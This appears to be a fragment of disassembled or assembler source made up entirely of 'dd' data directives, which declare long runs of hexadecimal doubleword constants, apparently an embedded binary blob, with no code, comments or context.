		dd 752FAAh, 0C07B2109h,	11DC7C24h, 4AEEBE00h, 0C45425A4h
		dd 0BF950019h, 1B9209Bh, 0AE80B2D1h, 3006002Bh,	5EA6384Bh
		dd 0A97C354Eh, 5B6A4505h, 0C8D2CBC9h, 0E21C08Dh, 0EA522E22h
		dd 6BC78078h, 8E853343h, 1E058475h, 65218329h, 12354BC0h
		dd 25AFA91h, 9EC7D50Fh,	24E04088h, 0A400942Ah, 0D7C580DFh
		dd 655B02h, 416F0A75h, 0F8A8CD9Fh, 0F4B90860h, 0A6AF64h
		dd 168F260Ch, 0DA98E621h, 6D7DD217h, 7BCA8801h,	6EF5463Fh
		dd 56131080h, 7A6A4E4h,	0D4A3318h, 18AA3F19h, 11CC088Ch
		dd 3500C66Ch, 0DDEA9B34h, 955256h, 8A0BB5Fh, 75E93797h
		dd 910D83Ch, 80E1B6FFh,	0F83541ACh, 750C73A2h, 3C760F07h
		dd 0D8B81C08h, 1000219Dh, 0ABA9FFF5h, 0E3BD36h,	3955F8E1h
		dd 9173290h, 0F9F6F100h, 89AD2B93h, 9F940E3Ah, 0F380F4CBh
		dd 21B247Ah, 4BB7ED06h,	590B17h, 11DB10AEh, 7AA3E7BDh
		dd 18869830h, 12212860h, 81633EB6h, 622D5D20h, 8E00772Ch
		dd 4ED3CEC0h, 6BBE90h, 68FFDEB0h, 8109E9C8h, 563B5A02h
		dd 0E0EF3357h, 0B2DC4B9Bh, 3A587DF4h, 0D00A5F96h, 80F8A0DBh
		dd 0C9BF0799h, 0B90143FEh, 0B7377EEh, 0C880A5CDh, 6F20EA7Fh
		dd 4A6152BCh, 404E1CA0h, 0C9A2F1F8h, 5868A578h,	9312496Ah
		dd 17186138h, 30331DFh,	0C474FC3Fh, 83C03D7Fh, 0F1007EBCh
		dd 52715935h, 0F1A2775h, 0F38CF6F4h, 0FA7B1C0h,	0B406A9AFh
		dd 24AEA5E6h, 0B70B0778h, 0B0BE8B43h, 206367ECh, 5493482Ch
		dd 0B16A2600h, 4AB5A0h,	0F4DB65CBh, 8860C08Dh, 55E6DF00h
		dd 7AF0497h, 8C9438ADh,	0F78041BAh, 0AAC2EC93h,	4F3E6BD6h
		dd 0A54081C8h, 0CBCA333Eh, 0EA01EC22h, 0BD79B56Fh, 0F91DC435h
		dd 269C9CA0h, 2419D12h,	9C3C10h, 2389337Bh, 0CE24F64Ah
		dd 0BD601774h, 8A3F6811h, 9036DA00h, 2AB7531Ah,	35293F9Fh
		dd 942C2380h, 27BECE56h, 73CA200h, 2E79FAEFh, 0ECD4122Bh
		dd 9C84C04Ah, 0DA51DC38h, 45F6D8CCh, 3F1B0400h,	1E0EBB5Dh
		dd 0AC590047h, 0D09D54B9h, 9CA0C615h, 0B00E744h, 0E6D16E50h
		dd 18C97270h, 0E8891371h, 9D897DADh, 0EB00B308h, 0F65A3D64h
		dd 5292631h, 0EA14A362h, 0B8DE0A22h, 40661DE3h,	0AA5C38FCh
		dd 0D360A912h, 11D09E98h, 378E0005h, 48FDEA6Eh,	151CCABEh
		dd 0AC84932Ch, 0C4A08C04h, 778F3847h, 250429BBh, 803CB808h
		dd 0C26EB1A6h, 5BBF2C00h, 23CBE72Bh, 0A6F600F9h, 0FEC4E9E2h
		dd 57657986h, 0E4005B70h, 0B41AD374h, 95AE1D12h, 0FEFBC787h
		dd 859F802Fh, 50070A6Ch, 468179F5h, 8F3C0C73h, 47E80EEh
		dd 55F72Bh, 153EBC54h, 4E53AEACh, 0E375F900h, 247B9197h
		dd 83491325h, 2614C05Fh, 810138C0h, 0C314EB51h,	0E0E0283Bh
		dd 3671B2h, 631C5D1Eh, 500EA523h, 0E4037698h, 3E2E04DCh
		dd 0C7D4808Bh, 3B172C22h, 47F4014Bh, 2403576Dh,	0E8B91FA4h
		dd 72006A24h, 0DFA3145Bh
		dd 8B4B1Eh, 0F9E6CA48h,	410F4C64h, 0EEFC90D1h, 2718C07Bh
		dd 7091C34h, 0B855C303h, 100E32EAh, 4B035C59h, 0F159095Fh
		dd 0BF209482h, 7F7B1FBFh, 0B89D18F6h, 86B0D412h, 0C184EF50h
		dd 7C310D03h, 0AFC0C544h, 4C610A81h, 0B8B4E053h, 0DC64A7h
		dd 5062AB5Ch, 0B0FF249h, 0F585A902h, 7D52D0Dh, 421740B7h
		dd 0E1005DC1h, 0C625A1CDh, 0F6124Eh, 69841443h,	0B7B33026h
		dd 0BC796B00h, 1912E4Ch, 2CBA017Ah, 0E1FB77C6h,	0DB09E8C8h
		dd 0FF7F60Eh, 3486A024h, 0F44E17h, 2A455E42h, 9B6B880Ch
		dd 0A5EC71F0h, 3B216916h, 497DC040h, 0E8981F1h,	0E17ED84Dh
		dd 0CBEAF660h, 2D009155h, 92320C9Eh, 0AE8DC3h, 0C197F45Eh
		dd 0DF98C75Ah, 0F9881706h, 0C74973h, 8494B27Dh,	5031E3F0h
		dd 0DD514E1Fh, 18B007Bh, 0BFB41848h, 631D000Eh,	4FA74654h
		dd 400155Bh, 84AA3052h,	9D7B39h, 2F0B5A8Ah, 3DA336C2h
		dd 2AAE550Bh, 2230020h,	1CC11CC9h, 8882Bh, 0C7CD1D91h
		dd 0AE980FA3h, 0B300FB72h, 7FFA7B98h, 14AC9B8h,	0BDBA8858h
		dd 30E6383Ah, 0C200F2B3h, 0F159454Fh, 15DC59Dh,	491A97Ch
		dd 0F81B1D44h, 88F2B10Dh, 86CB3E01h, 268A2AB0h,	0C09D438h
		dd 34644AACh, 4990B600h, 3C79F6D2h, 24E30074h, 73F2DFCDh
		dd 69F81407h, 3FF99005h, 0A7C019A0h, 715A3904h,	0CCE21748h
		dd 951C007Ch, 2216E0Bh,	93458A00h, 43E755F1h, 1CB709BBh
		dd 0F00F06Dh, 7D17C8E8h, 0CAA7B501h, 0DF66CE4Bh, 7181F8h
		dd 3E2B4721h, 0A9BD9453h, 3F2CE37Fh, 6782483Ah,	4005E6C7h
		dd 4FC67388h, 87901248h, 0CE046024h, 3D00D2C1h,	6AEA6F5Eh
		dd 1A837B8h, 67D0F9A3h,	0FF9424E6h, 0B97A6598h,	0BD14BA00h
		dd 2A0B1BCFh, 0EDC425ABh, 0A3289C20h, 88037643h, 0E2A8EB6Dh
		dd 2A180706h, 43312314h, 48DDC456h, 9010AE18h, 0F0708918h
		dd 0D301E9A8h, 642FFB61h, 4CC1AA23h, 7C5A1C0h, 0A5B14452h
		dd 284550CFh, 880143A4h, 2CC46DA0h, 0E4344D9Dh,	2B54A0D2h
		dd 1C0AFA0Bh, 4D6D2E3Fh, 7050ABE9h, 0BA401EFCh,	5BF00AFh
		dd 0D69271E0h, 4600D754h, 679CE532h, 3C0BE24h, 8C1CC47Dh
		dd 75C0FCE7h, 0E1002F80h, 5AC65D8Dh, 1E07124h, 9F3A72B7h
		dd 0E82E258Ch, 900B579h, 6EF46726h, 15466Bh, 56C42D8Ah
		dd 0D447C227h, 72767A00h, 0C1CB8370h, 0ED88004Fh, 0F63FB4ACh
		dd 6F007CA2h, 550F6AC9h, 1FFBA14h, 0DD63D0D9h, 0F033F5EEh
		dd 4F005FDAh, 4D096AE9h, 129B526Bh, 434050BCh, 3A989000h
		dd 43FFF6A8h, 0FD904B54h, 3F005DF8h, 4239EE2Bh,	391B989h
		dd 0CAB278C4h, 28EE324Ch, 7B8D2A00h, 15C7D36Dh,	46CD02FCh
		dd 57F748DAh, 433DE040h, 4A41FE1Bh, 0F1A0E759h,	0C2E4D4h
		dd 315DCCA1h, 85F89EFEh, 2AB0267Fh, 51D418C1h, 7DF0809Bh
		dd 0C1540499h, 90AF2846h, 598C610Ch, 0DCFD200h,	0C4C8FF07h
		dd 0A71F09BAh, 1C60C641h, 42004D47h, 6C21FD9Eh,	0DFF75F02h
		dd 8B1A00C0h, 0D1704440h, 0CEC7AE00h, 16BA1F63h, 0C04100C2h
		dd 4E71DB9Ah, 496F27FFh, 13B88BB9h, 69F0D8C8h, 67F91D4Fh
		dd 8F961D38h, 0EB41A0F3h, 308AA38Ch, 8CC8B64h, 12213Bh
		dd 0CE956998h, 0D145D52Fh, 16ACFA00h, 0BBBC550Eh, 3782EFCh
		dd 9C5C0574h, 2A19C0A7h, 40CFD2B6h, 0A53EA0B8h,	1BC8353Ah
		dd 28265154h, 0E9CB0EF0h, 0B0ECD3E8h, 373068F0h, 0EC7611A9h
		dd 27A20192h, 1F4BD7DCh, 0A3089B24h, 92D49021h,	683E1801h
		dd 27E1A90Bh, 0CA0E8EFEh, 74D8326h, 0E610B6EFh,	0C75DE936h
		dd 4C483E38h, 0EA00C499h, 0FA8531F9h, 0C43EB62h, 267F89Fh
		dd 1B1F5151h, 0CA8058A4h, 52A3AC06h, 0E372D2h, 615A9F9Ch
		dd 0EEA40D0h, 0CDE67E06h, 3850EBh, 9FC0C4D3h, 3F225C65h
		dd 5A30B07h, 8F807EF9h,	71E56785h, 0A7790013h, 4B8CF7E0h
		dd 0D30CD58Ah, 0A1633E98h, 87A002Fh, 6B60B8E2h,	7766E0AAh
		dd 2C213708h, 17421Eh, 0B29ADF55h, 0C628B060h, 5C05B499h
		dd 4DD7FB9Fh, 0C041AC08h, 27A192E5h, 0A022D446h, 92CDE81Fh
		dd 7805FDCh, 33CAE589h,	0ED591DCFh, 1F048A8Ch, 0F7BF09FCh
		dd 0FA802437h, 0D2FDF4C7h, 255C1866h, 3558D136h, 0E73929C0h
		dd 7C44E40h, 0D19029ACh, 11B0CAB1h, 0E06F0048h,	0E3D67B9Eh
		dd 0CE373D43h, 21620866h, 9EF88900h, 0DABB5A36h, 97C51DFFh
		dd 1142C63Fh, 0EC46B848h, 0EA08AD3Dh, 28C4BB8Ch, 3180754Bh
		dd 11B5012Ah, 0B01F081Fh, 9D48D414h, 0D67E9E82h, 106031BBh
		dd 9EE38Ah, 0EB74B449h,	9C97A218h, 80CE1701h, 2A5F1EF1h
		dd 0B600D5F5h, 0BA4992A5h, 0E4683998h, 0A663EFB0h, 938CE5D0h
		dd 1425448Ch, 8F699E00h, 7811AD13h, 47860254h, 9F0FB83Fh
		dd 0A21FB500h, 10D50080h, 0A5742DB9h, 8E038A61h, 4ADDB69Fh
		dd 48800998h, 4C17D65Eh, 0AC801491h, 0FC020C04h, 0A18EE48h
		dd 0E4369D29h, 0E181CE11h, 0EAD6609Eh, 80155B31h, 368F9EC6h
		dd 50A749h, 0F0918C30h,	0C0B8BBA3h, 55530668h, 3C00AFBEh
		dd 1CB61AB2h, 0B0BF80C9h, 0F8116638h, 7609518Bh, 80030523h
		dd 0F48DBC40h, 0EE8DFDBh, 18393D2Bh, 1EB44897h,	23A02948h
		dd 92F70143h, 182427A7h, 0FFD688ABh, 95389207h,	8CC07AECh
		dd 6EF4298h, 66C5B872h,	0AE64707Dh, 0E8604458h,	2723A692h
		dd 7711FCh, 0C392D0DFh,	27714A01h, 8050401Dh, 93661701h
		dd 0B0DCD382h, 0F6FD8DE8h, 0B91B0055h, 61BAAA13h, 290FBBDBh
		dd 4678D28Eh, 0E8D0F5h,	300ECE16h, 6654245Eh, 14B88807h
		dd 4550F892h, 60477123h, 0D2B040A9h, 58DE04EBh,	36B77AC0h
		dd 58582E9Bh, 0EC154DD0h, 3D00B057h, 1DB4322Dh,	0F126D651h
		dd 467440ACh, 0FB8C0177h, 275A3A65h, 113FE886h,	9A30C2A3h
		dd 0B8978801h, 4AAA5C8Dh, 112C3524h, 9EB480D1h,	8CC3D67Fh
		dd 0CF006345h, 0DA359Eh, 0BA8671B2h, 5C4888D8h,	64612424h
		dd 20540180h, 10F63C6Ch, 184768CAh, 8720E832h, 7FCC24E4h
		dd 3820319Ch, 0C7960244h, 8331EF68h, 0D04A608Fh, 0FE9F49A0h
		dd 20D090D0h, 1E0D6B9Dh, 68369005h, 0B065E4E1h,	6F04C1CBh
		dd 704AD1DBh, 54B58840h, 8C4C5144h, 9A9EE1EBh, 0D818A0h
		dd 78C9085Bh, 0FC5CC046h, 0AD87F900h, 0B5C18345h, 5093050Eh
		dd 0C7857864h, 79E1E067h, 3501F45Fh, 0D5D956D2h, 5EF91811h
		dd 7D2DD8h, 0BBBD357h, 0CB075B9Bh, 35811600h, 99A4FDE8h
		dd 9C2500E5h, 4B6BF7EAh, 4BB009D7h, 0C76C5800h,	79875933h
		dd 0A0F900B5h, 650D7157h, 7D7117B9h, 26C738h, 0A2398E08h
		dd 0D9B422h, 15BC59B5h,	3F5C7330h, 6B3BDA00h, 0E3C63778h
		dd 0DB8900FCh, 264105B0h, 387EBEF6h, 0B3729600h, 6BCD69F2h
		dd 52E0F18h, 1BA18237h,	0C05C59B4h, 0BB30C1C5h,	0D55660AEh
		dd 0AB240760h, 5338B371h, 7870C3C7h, 69DE6A00h,	37031F0Fh
		dd 0D2BA0E74h, 55A02EECh, 0A1DC0C2Dh, 48AF9130h, 7877C43h
		dd 0BF9326Bh, 3497A017h, 2A00C4A0h, 76391FABh, 0EEB9A6B2h
		dd 49B0335h, 0AAA1BAD6h, 541F8927h, 91D1034Bh, 0E7989F9Ah
		dd 9700062Fh, 0A146120Ah, 0A1A06ABCh, 0CEC3238h, 20400092h
		dd 0B856A5C7h, 0C600CF0Bh, 66E963AEh, 18DAFAB2h, 3E36A9EAh
		dd 3E743071h, 94DF70C0h, 0C05ADD4Ch, 0FC45D010h, 0BD03A3E0h
		dd 22804E2h, 0E6128808h, 9CDD0017h, 0AA41BB24h,	9B1F1D77h
		dd 6EC0CD33h, 66289E42h, 472600A8h, 0BA536A13h,	97E614D6h
		dd 5A96C500h, 5881F2AFh
		dd 0C861267h, 0C3CF1C8Fh, 800182A0h, 971C0FE0h,	0B0F20DEh
		dd 18544Dh, 9638F1B9h, 0F76504Bh, 162A2BFDh, 0B7F28E60h
		dd 0E270285Ah, 423ACE00h, 0FA8B97BEh, 63FE5Ch, 68E58A2Fh
		dd 0DF22BF29h, 0CD771914h, 1886F314h, 99B26B81h, 2A226009h
		dd 44BF1DEh, 92307EAFh,	73291096h, 64B002Eh, 0B5A3896Bh
		dd 8700F786h, 805A9D28h, 6A464D9h, 0F31E2681h, 0E5422846h
		dd 2102A111h, 2A460CADh, 2284E151h, 11426D1Ch, 291EEE19h
		dd 445808BDh, 50848569h, 88D928A6h, 0CA00771Ch,	0E55AC0E9h
		dd 5DF801h, 3DDA2445h, 0ED883637h, 734A6B00h, 3F766AE9h
		dd 867BFAh, 0A360E86Eh,	0BC55C919h, 95920700h, 209399FEh
		dd 0D4320058h, 3BFAA8C7h, 3079C47h, 14C5A79Bh, 0DE707BA7h
		dd 7D0B37h, 934F4A7Fh, 2C6C6386h, 0CF166100h, 0CCAD76B0h
		dd 457D3DA5h, 80B3E81Fh, 0B8F3D51Ah, 9200A4DAh,	0C5FB9870h
		dd 1A888FAh, 1CC1E271h,	0ED2F0D57h, 3BD05008h, 8BFE198Ch
		dd 5F537E02h, 0C0E23379h, 3E6F731Fh, 11008597h,	9C567CF9h
		dd 0C6001D2Ch, 13577A2Ah, 1FF6A4D9h, 1AAB165h, 3A43C4F0h
		dd 69E3F048h, 0BF72AE1Eh, 0A05C36C1h, 2180E9F7h, 78D9584Ah
		dd 10C0C12Dh, 83BB6B86h, 0A8420411h, 90AB8968h,	622FACF8h
		dd 80CC1F38h, 8A50788Fh, 1EBEC365h, 89936B04h, 0C680D51Bh
		dd 0CD10A442h, 0A8C0B8DCh, 19D62D95h, 235903ADh, 7449087Ah
		dd 0C89ED0D8h, 0C9473E00h, 61B17798h, 0A0020380h, 5CA5E486h
		dd 3CFF95F0h, 197A2203h, 80EDA32Fh, 0AD0EEEh, 5D7C30C3h
		dd 0CFF61483h, 0CAC7CC00h, 7BE02AABh, 7D8F3C5Ch, 0E21CD200h
		dd 4907AA4Fh, 0EC67753Bh, 0C530D0h, 0DD2CA5BCh,	0EE5C6DB5h
		dd 0D2A49A00h, 157E840Ch, 6F970018h, 3E3D1F30h,	5B7E3349h
		dd 2554303h, 62DAD3h, 0EECF51D8h, 87E2ED50h, 72776300h
		dd 0CAFFBCF3h, 0B70A0061h, 88798178h, 1005967h,	0E60C7E7Fh
		dd 0AD9FECh, 0FDB6AC56h, 105C8D68h, 0A9A17701h,	8BB06ECCh
		dd 315DC4h, 0DFD5E59Ah,	51638DB5h, 0D718FA70h, 5A10B411h
		dd 126FA60h, 37362A7Eh,	20473F45h, 6891A928h, 0E5BFA88Fh
		dd 0CC401490h, 0AC89BCF9h, 1217E42h, 0FA5C8560h, 305B0CCAh
		dd 1B005DB3h, 73E3022Fh, 10E39BAh, 0E7E24361h, 405C7FC8h
		dd 0D76619CCh, 97F4BE07h, 0FB5158DFh, 8ECC3483h, 5233002Dh
		dd 11AC4644h, 6B003E87h, 43A53671h, 25F81847h, 0FEFE9390h
		dd 76C7C002h, 0BBF0E0E3h, 0A730084h, 641BF854h,	0E001BC9Ch
		dd 343B3087h, 6FC50EFh,	25720579h, 801309FDh, 0AE65D14Ah
		dd 333D521Ch, 56C11C3Ch, 0EC0D89h, 29E32578h, 7E3013D1h
		dd 74100BF1h, 7766B480h, 820186F5h, 0AC7AD634h,	0C7F8E41Ah
		dd 8FA50004h, 0D96E1CD0h, 0A7268412h, 0E000143Dh, 38E2CCBBh
		dd 8D230022h, 933A3B27h, 0C900E6BCh, 6CDB1C33h,	0BBDF5Bh
		dd 0A12D5DB5h, 51F67E9Ah, 409C2000h, 83FA45C1h,	42F10052h
		dd 0B2FC67DCh, 0C200CA29h, 0E199768Dh, 6E4EE4h,	0E2E00615h
		dd 97EFD7A9h, 59BA9803h, 0B03CF67Bh, 3EDAA4C0h,	7801A39h
		dd 9AFF5CA2h, 6A76FD04h, 64304400h, 0D4997932h,	0BE180271h
		dd 0F67A68ABh, 72C0E848h, 2CCC1301h, 7CDC79Fh, 0FC1060h
		dd 8496546Eh, 12B73086h, 0DD4CF048h, 0A01FA8BDh, 0F50AAD09h
		dd 0B704004Fh, 8022B9h,	367029D7h, 37B13819h, 0AC77C900h
		dd 0F6C0ECBBh, 5D9F024Bh, 0E2FFE886h, 896A4C48h, 60008CE6h
		dd 9F945F6Ch, 0C731DCh,	0C1C3BFBh, 1A917EE3h, 37AD9926h
		dd 15E49600h, 7319EFDh,	90C19554h, 9A0F1019h, 8E753EA8h
		dd 71B77203h, 0A8FAFD2Ah, 90255AE8h, 184E0FA0h,	2220A959h
		dd 3F740CD3h, 676BF204h, 748C03ADh, 0BD01006Ah,	0F4C48807h
		dd 1200CB26h, 0BFEDC8D1h, 17DD363h, 0FCDBACFFh,	0C45DC405h
		dd 75002E8Ah, 32BFE086h, 78872Dh, 467E14C2h, 0EF4C67A5h
		dd 5700CE7Ch, 102EFFB1h, 3CA14017h, 600A9A0h, 5C816ECFh
		dd 0C7093B34h, 2019966Dh, 0C1D277D8h, 55E4004Ah, 0BEB33CFEh
		dd 0B8740EC6h, 0F35D1912h, 0CB6AE000h, 1D570Fh,	0E4A1917Ch
		dd 812F4CB3h, 20956F00h, 0E6E9C1C7h, 0F8184CD7h, 158B1D03h
		dd 54A8C325h, 0F800D6B2h, 7CC16212h, 3BE340E6h,	5C00104Eh
		dd 43C9E8F6h, 5E00FB0Eh, 0B7D8BA83h, 2473B574h,	248BD2h
		dd 14703BF2h, 0A800570Dh, 4B60251Ch, 809AF6h, 9C78F066h
		dd 347DCC52h, 0BBC40E1Ch, 0B2A1F280h, 0E6B1DD2h, 2E14F5F7h
		dd 0F39F0C20h, 21001A4Ch, 0FAC2FF90h, 765B081h,	0E59EAA0Fh
		dd 4B9100AFh, 4675D30Eh, 720647F2h, 0CAA1DB86h,	839A0091h
		dd 9F75E979h, 0AD00B151h, 0A58DFCA8h, 0A7F6C8h,	0A3C2E4BAh
		dd 5C17ECBCh, 39E378C2h, 3EFF405Bh, 7B3D01D4h, 5E541505h
		dd 8042CDCCh, 19A20A91h, 0F35FAC65h, 610FCh, 91697F1Dh
		dd 0CA9A8F6Ah, 9B72900h, 1A8D144Ch, 68390190h, 49AAB04Bh
		dd 2900EB65h, 0FAA20DCEh, 4634A91h, 61FF743Ah, 7ECA80ABh
		dd 0C950E435h, 840024A3h, 13140188h, 0E1D007h, 91A4DF51h
		dd 1CB6BF85h, 61E8D701h, 0ABBD846Ah, 75424C70h,	0E7A300D5h
		dd 53021C4Bh, 3CB8A13Fh, 8AE4B803h, 0E8214F67h,	9FF106h
		dd 2C436047h, 89733037h, 209E8400h, 0E4C2EF29h,	0B8FE94h
		dd 0D61DE59Bh, 0C378FC06h, 5A215B01h, 0A12FB18Ch, 9650F4h
		dd 3DCF94C7h, 0C6328B2Bh, 73687400h, 501AD344h,	1F3600CCh
		dd 0C388E8B0h, 7F0080C8h, 726E18D9h, 3F0D0F26h,	0E0502BF9h
		dd 363743Ah, 307F150Ah,	5CE14DD1h, 0E4870AEh, 0C4C0C80Eh
		dd 0CDB4021h, 72C37BF7h, 0FC5901ECh, 0F45EC5FAh, 3525F81Dh
		dd 0A46343Fh, 0E0202274h, 3982EA04h, 594C071Ch,	6940504Fh
		dd 48B84E99h, 0C2E02C00h, 0D4446D11h, 2DA407B8h, 0B091A05Bh
		dd 0E209DA5h, 55246403h, 30E79FA2h, 4528F56Ah, 691E01C3h
		dd 0A080C04Eh, 573498F9h, 0F3D20109h, 6EE867E4h, 2E1070E3h
		dd 441F5100h, 89956804h, 0B7080009h, 6A48FAD6h,	947D0DC4h
		dd 0C89806E4h, 9025307h, 1981B9h, 3A4A4943h, 0AF25003Dh
		dd 0DB1F3750h, 8CC00374h, 0BDDA216Ah, 0C7CF0E87h, 0AA609997h
		dd 71E9B6F0h, 0A913FC03h, 7EDFB2Ch, 0EFC6BB88h,	85070088h
		dd 8A5C0835h, 0F3B00038h, 231B873Dh, 0EB7200FEh, 7ED3A947h
		dd 0BB901AA4h, 0F797D700h, 906750ADh, 78CE0318h, 21690641h
		dd 9EA88CE0h, 800A8139h, 0CDB531D0h, 16C160B8h,	5C6768h
		dd 24888ED0h, 90B22CFFh, 279C6C00h, 0F22240CDh,	1FAB03EAh
		dd 73952670h, 0E7AFC690h, 49F60D01h, 22692C4Eh,	435DE840h
		dd 0F17A05D9h, 5E9246D4h, 4CE240B0h, 539F1BB1h,	0F27B3600h
		dd 0CB64743Dh, 39703926h, 0DCD9CA94h, 40510B1Eh, 9456A6Fh
		dd 3E002EA3h, 0D32B3C82h, 9F252E1h, 0B61A9B9Ah,	9CA03889h
		dd 6C1D5C0Fh, 9C5A8B00h, 0E30EA362h, 0E0AE831h,	7C6A15A1h
		dd 541976E0h, 0A401E17Dh, 725E1E9Ah, 118FF702h,	3980855Fh
		dd 0C9307B29h, 0E908D403h, 900C4046h, 81642Bh, 20A9EC12h
		dd 825603CAh, 0E402094Bh, 589D18A1h, 8C2E2618h,	648D00D5h
		dd 0C693480Dh, 3A88D300h, 0A4E739C8h, 3B31009Bh, 2B7ADC97h
		dd 33010F85h, 6F73EBB5h, 49886287h, 30878BB9h, 0F811EFFCh
		dd 1CE8DC51h, 337E246Ch, 0E65900CEh, 95802CE8h,	4191A100h
		dd 0EAA59E8Ch, 1750C47h, 768AD5Eh, 0D40CC14Eh, 2476A139h
		dd 8030064Fh, 0AAC598A8h
		dd 0DD049335h, 0EA41FE46h, 0E0CF6C93h, 1696DBD8h, 0B973AEh
		dd 0EA69467Ah, 88004048h, 980F287Eh, 0AC734EDh,	0AA66E9Bh
		dd 804D90CCh, 0E1FE2AB4h, 36440154h, 0DF18EDDBh, 0A8284Bh
		dd 0C1EA58D7h, 37FA2E3h, 0A5BEE55h, 41905CEFh, 0E80E14BAh
		dd 20F407A7h, 3B765E74h, 22F8C0h, 0D8D02778h, 7C40DF6Eh
		dd 0D44BE06h, 809123h, 9E7DB701h, 71424D96h, 27598305h
		dd 0DC41935Eh, 82A71885h, 0C3527017h, 5407FDFEh, 6BCB9397h
		dd 6807B390h, 0E3FA0069h, 64F23E0Dh, 0F428BDC1h, 0B3E2EA94h
		dd 9E0EC41Dh, 0B10603C1h, 608B1FDBh, 9E0F8CEFh,	0BD807C0Eh
		dd 2D9CF26h, 5A01B092h,	0C14569BAh, 0C8D88439h,	83950013h
		dd 0AEA9BCF2h, 0B0B3DABh, 51CA7Ch, 1EED6505h, 60D9C7C9h
		dd 339A507Dh, 0E0C0095Ch, 623BDBA2h, 732206C3h,	6830AE8Dh
		dd 0EA05D60Eh, 75CE056h, 9C4457h, 1C24B23Ch, 0F11174E5h
		dd 8E008379h, 45266C77h, 30BB16h, 0BEA3E87Dh, 0A87640D1h
		dd 18605D00h, 0F2CFC4C3h, 582B385Ah, 78F4E863h,	0EF0A99CEh
		dd 0ECCB5F8Fh, 90D95687h, 1283B090h, 29DDA0E2h,	39D300B2h
		dd 0DA4DF5AFh, 0E7012D15h, 37BD3E79h, 90504BA3h, 0F0F5F3F9h
		dd 0EE7307F6h, 0D004B944h, 0AC8E7734h, 65A40300h, 1CE125D2h
		dd 0E67DF614h, 4C5B023Dh, 0E038EB97h, 5F2180A0h, 98240E68h
		dd 521D24B9h, 33A40901h, 88400648h, 4C2F137Bh, 250488B2h
		dd 8002F4D3h, 73886F74h, 0F5D85960h, 0CB1AB5C7h, 5800CDF0h
		dd 4FB38AF1h, 6F606D78h, 538F7F1h, 79C5007Eh, 0C190DD10h
		dd 8300CD4Bh, 49F2E67Fh, 0F64A99Fh, 0F4EA15DEh,	26D20FE0h
		dd 5500ABD4h, 5EB5AC4Eh, 177FF95h, 20E7E327h, 2359A499h
		dd 0CCE00BCh, 98B2097Dh, 0A9D000FFh, 6B345FAAh,	0DD262F0Dh
		dd 5380200Eh, 2486198Ch, 136D07BBh, 2527325Ch, 2F8C44E6h
		dd 820CC055h, 4301C303h, 0ADD643Ah, 0FBA37Dh, 9390E610h
		dd 6D027FB9h, 0AEBEC900h, 0CA771B4Dh, 7DE47C67h, 0F97BFCAFh
		dd 3819EDF8h, 8C14B1C1h, 3F22941Eh, 0F1E58530h,	0F7345EEh
		dd 17F869FAh, 0BD7C9960h, 0F675825Eh, 50C48h, 0DE67459h
		dd 988488D4h, 92FD0318h, 0E450F43Ah, 41D997F8h,	5367800Ch
		dd 1EBF20C7h, 0EFCBE8h,	0DCE619FEh, 621ECE66h, 0BDAC0F39h
		dd 78E7C900h, 3C86708h,	6AD91932h, 0D3C813CBh, 530040DAh
		dd 0A5E106A4h, 9A20F7Dh, 0C20B1DFFh, 0F0F7F840h, 1F2B4A00h
		dd 56417D17h, 37CE85Dh,	0E74DFC52h, 58803172h, 9602ED48h
		dd 4E66F2E8h, 7350C00Ch, 742501C8h, 62837EA4h, 0E294208Dh
		dd 84E10B00h, 4C9827B4h, 307FD6h, 9D500A25h, 496C281Fh
		dd 646DFC00h, 9455B436h, 0A292386Bh, 84000DADh,	0DFD49DFBh
		dd 3C638F05h, 0C08010CAh, 722292h, 3A55A37Ch, 34E858D0h
		dd 0E911260Fh, 0B4C80F4h, 24ACEAEBh, 9FB9BECh, 0D01091F2h
		dd 6A001403h, 5604D2A4h, 1A598FDh, 4B663A90h, 70CEA7F5h
		dd 6800A3F2h, 19F0F44Ah, 0E00FEFh, 6386A031h, 9FC64493h
		dd 660F5A7Fh, 6049B21Eh, 13B58F0Bh, 2CE548FDh, 0EDDA3500h
		dd 0EA1D3E5Fh, 0C6284F03h, 0E9B4AAD4h, 802057C3h, 63F020h
		dd 5F053B78h, 7E2B618Dh, 13A6B839h, 6C40A4F5h, 4886E62Eh
		dd 0FD300170h, 0DB192368h, 446AE0A5h, 0B74E300h, 0ED18E5B5h
		dd 1749737Dh, 88B7A4h, 0AA57F081h, 0E90F6AD3h, 81EEACh
		dd 7982CECBh, 2A5C00A9h, 83358F12h, 8472AC09h, 8B1EEA0Fh
		dd 945F41EFh, 0ABC87F62h, 1F7300CFh, 1A3DC506h,	821D2769h
		dd 0EE4334E3h, 90A77779h, 54D4F66h, 8BAB8754h, 0E11090F0h
		dd 0A8BA29DDh, 0BF991400h, 8BC5A01Dh, 4C03000Ch, 0DC92E93Ch
		dd 0B00050E7h, 0F14A65FDh, 95F47F8h, 0B56BE261h, 0C1093CA7h
		dd 504B5067h, 4AF747C0h, 8F9CFC16h, 6029285Ah, 30F5B128h
		dd 0C3793D42h, 627FBFAFh, 8E016100h, 0E5ED602Fh, 0FE6600B1h
		dd 268CE35h, 0C4782508h, 70CD7300h, 92FC5CEAh, 467D0038h
		dd 9A049413h, 0B700489Ch, 0AB24633Ah, 0A0E89575h, 28627D4h
		dd 0D458CF5h, 0A86802A5h, 0ECB6E149h, 1840BA70h, 0A096E999h
		dd 0C31BE5B1h, 90A2C7D2h, 9A433FCh, 638DB60Ch, 74C1B883h
		dd 0E08EE5B9h, 0A003A680h, 6E6754E8h, 0CF86D037h, 56302EC7h
		dd 0BFFC06C4h, 76FA804Fh, 21315800h, 459188F7h,	0D303007Ah
		dd 28982F71h, 0E901FEAFh, 0A48B249h, 70804783h,	0FB44D6ADh
		dd 10C2330Dh, 0E13C62F6h, 560D29Dh, 98467B0Ah, 0BAEF10C4h
		dd 0B9017282h, 116CC9E6h, 2AF9DB6Fh, 2CD866DCh,	397C33EEh
		dd 801CCB02h, 84C8341Bh, 492C6A27h, 2600D39Eh, 0A7C8E5C0h
		dd 0B87800EAh, 59AC2941h, 0DD28FA68h, 7B90ECE7h, 20A6E213h
		dd 1B0B8800h, 11CE30Ch,	0D0BBFD95h, 0FC85AA62h,	0C102DE32h
		dd 4A7DFB5Ch, 4C89409Ch, 5E66001Eh, 0EE45F007h,	2B00AA41h
		dd 0C8D66CDEh, 28952527h, 2B0FFEFh, 0D936D744h,	57E3658Dh
		dd 0C43B05D8h, 77E2C900h, 0BC23D104h, 9A8D0096h, 0D9F4C3CBh
		dd 0A5001963h, 18640E21h, 2EF16228h, 73427EDh, 60513B11h
